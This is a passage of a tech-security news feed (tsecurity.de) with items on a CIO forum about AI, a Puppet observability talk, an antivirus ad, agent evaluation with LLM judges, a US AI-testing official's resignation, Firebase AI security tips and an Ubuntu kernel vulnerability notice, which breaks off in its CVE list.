<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:34:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:18:38 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Avast One: One App for Security, Privacy & Performance]]></title>
<description><![CDATA[Author: Avast - Bewertung: 2x - Views:4 Your digital life is complicated enough — your protection shouldn't be. 

Avast One is an all-in-one app that brings together everything you need to stay safe, private, and running smoothly online. No more juggling separate apps, overlapping tools, or rigid...]]></description>
<link>https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/</guid>
<pubDate>Mon, 20 Jul 2026 23:36:27 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Avast - Bewertung: 2x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/OINVL4fGpSY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Your digital life is complicated enough — your protection shouldn't be. <br />
<br />
Avast One is an all-in-one app that brings together everything you need to stay safe, private, and running smoothly online. No more juggling separate apps, overlapping tools, or rigid bundles. Just one clean dashboard, one smart app, and full control over what protects you. <br />
<br />
Here's what's inside Avast One: ✔ Advanced antivirus & real-time threat detection ✔ AI-powered scam protection that spots suspicious links before you click ✔ A VPN that encrypts your connection and hides your IP address ✔ Device cleanup tools to clear junk and speed things up ✔ Identity monitoring to check for your info on the dark web <br />
<br />
Start with award-winning free antivirus — then add only the modules you actually need, when you need them. Available on Windows, Mac, Android, and iOS. <br />
<br />
Because staying protected shouldn't feel like a second job. <br />
<br />
🔒 Download Avast One free today → avast.com <br />
<br />
#AvastOne #Avast #CyberSecurity #OnlineSafety #DigitalPrivacy #AntiVirus #VPN #ScamProtection #MalwareProtection #InternetSecurity #PrivacyProtection #CyberProtection #TechTips #DigitalSecurity #FreeAntivirus <br />
<br />
 Follow us: <br />
<br />
YouTube @Avast <br />
Instagram @AvastOfficial <br />
Facebook @Avast <br />
TikTok @Avast<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Head of US Safety Agency Resigns]]></title>
<description><![CDATA[Chris Fall has resigned as director of the U.S. Center for AI Standards and Innovation just three months after being appointed to lead the Commerce Department's federal AI testing institute. Arvind Raman, who oversees the Commerce office responsible for the institute, will serve temporarily in th...]]></description>
<link>https://tsecurity.de/de/3682086/it-security-nachrichten/head-of-us-safety-agency-resigns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682086/it-security-nachrichten/head-of-us-safety-agency-resigns/</guid>
<pubDate>Mon, 20 Jul 2026 22:22:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chris Fall has resigned as director of the U.S. Center for AI Standards and Innovation just three months after being appointed to lead the Commerce Department's federal AI testing institute. Arvind Raman, who oversees the Commerce office responsible for the institute, will serve temporarily in the role. "The Commerce Department did not provide a reason for Fall's departure," reports Reuters. From the report: Fall's exit marks the latest change in direction for Trump's approach to AI. The president upon returning to office in 2025 said the federal government should take a hands-off approach to the tech sector. He has since taken a more active role in monitoring the technology, though his public statements and policies appear to change week by week.
 
The institute is responsible for working with leading AI labs such as Anthropic, Google's DeepMind and OpenAI to test their unreleased models for vulnerabilities. The group is staffed by scientists and engineers, who are focused on calculating the "demonstrable risks" posed by advanced AI models, according to the institute's website. They want to limit opportunities for U.S. adversaries to use AI to develop chemical or biological weapons, or corrupt the data used to train American AI models.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/20/1948206/head-of-us-safety-agency-resigns?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[101 ways to secure your AI Logic implementation]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 4x - Views:22 Implement App Check → https://goo.gle/4fe4L5W 
Enable Auth-only mode → https://goo.gle/4wQFvbV 
Enable template-only mode → https://goo.gle/4wK9vWI 
AI Monitoring → https://goo.gle/4gOIddd 

How do you take client-side AI to production without leaving y...]]></description>
<link>https://tsecurity.de/de/3681825/it-security-video/101-ways-to-secure-your-ai-logic-implementation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681825/it-security-video/101-ways-to-secure-your-ai-logic-implementation/</guid>
<pubDate>Mon, 20 Jul 2026 19:19:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 4x - Views:22 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/YoZhjftm6v4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Implement App Check → https://goo.gle/4fe4L5W <br />
Enable Auth-only mode → https://goo.gle/4wQFvbV <br />
Enable template-only mode → https://goo.gle/4wK9vWI <br />
AI Monitoring → https://goo.gle/4gOIddd <br />
<br />
How do you take client-side AI to production without leaving your backend completely exposed to abuse? In this video, we crack the code on securing your Firebase AI Logic implementations. Rosário breaks down 5 ways to lock down your Firebase AI implementation, secure your infrastructure, and gain full visibility into your app's AI traffic.<br />
<br />
Chapters:<br />
0:00 - Tip 1: Firebase App Check<br />
1:01 - Tip 2: Auth-only mode<br />
1:30 - Tip 3: Server prompt templates<br />
2:01 - Tip 4: Template-only mode<br />
2:35 - Tip 5: AI Monitoring<br />
3:04- One more thing!<br />
<br />
<br />
#Firebase<br />
<br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Rosário Fernandes<br />
Products Mentioned: Firebase, Firebase AI Logic<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 18:18:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that the Linux kernel did not properly handle shared page
fragments during socket buffer operations, collectively known as Dirty
Frag. A logic flaw existed in the XFRM ESP-in-TCP subsystem and in the
RxRPC networking subsystem when processing paged fragments. A local
attacker could use this to escalate privileges, or possibly escape a
container. (CVE-2026-43284, CVE-2026-43500, CVE-2026-45998, CVE-2026-46000)

It was discovered that a logic flaw existed in the XFRM ESP-in-TCP
subsystem in the Linux kernel when handling socket buffer fragments. This
flaw is known as Fragnesia. A local attacker could use this to escalate
privileges, or possibly escape a container. (CVE-2026-43503,
CVE-2026-46300)

Qualys discovered that a race condition existed in the ptrace subsystem of
the Linux kernel when privileged processes are exiting. An unprivileged
local attacker could use this issue to expose sensitive information.
(CVE-2026-46333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a memory leak when handling AppArmor notifications. A local
attacker could use this to cause resource exhaustion. (CVE-2026-47326)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a NULL pointer dereference when handling AppArmor notifications. A
local attacker could use this to cause a kernel oops. (CVE-2026-47327)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an invalid free when handling AppArmor notifications. A local
attacker could use this to corrupt kernel memory. (CVE-2026-47328)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained insufficient validation of AppArmor notification responses. A
local attacker could use this to allow crafted responses to be processed.
(CVE-2026-47329)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0 used
an uninitialized variable when handling AppArmor notifications. A local
attacker could use this to cause incorrect caching of data.
(CVE-2026-47330)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause information disclosure of kernel
memory. (CVE-2026-47332)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained a out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause kernel memory corruption and,
theoretically, influence processing of AppArmor policies. (CVE-2026-47333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained incorrect holding of locks when handling AppArmor notifications.
A local attacker could use this to cause a kernel panic or deadlock.
(CVE-2026-47334)

Tristan Madani and Trevor Lawrence have each independently discovered that
Ubuntu Linux kernel 6.8, 6.17 and 7.0 contained a NULL pointer dereference
when handling AppArmor network socket mediation. A local attacker could use
this to cause a kernel oops. (CVE-2026-47337)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Gadget drivers;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - Landlock security;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43494, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43498, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45837, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45990,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45995, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46001, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46008, CVE-2026-46009, CVE-2026-46010,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46013, CVE-2026-46014,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46020, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46025, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46028, CVE-2026-46029, CVE-2026-46030, CVE-2026-46031,
CVE-2026-46032, CVE-2026-46033, CVE-2026-46034, CVE-2026-46035,
CVE-2026-46036, CVE-2026-46037, CVE-2026-46038, CVE-2026-46039,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46042, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46045, CVE-2026-46046, CVE-2026-46047,
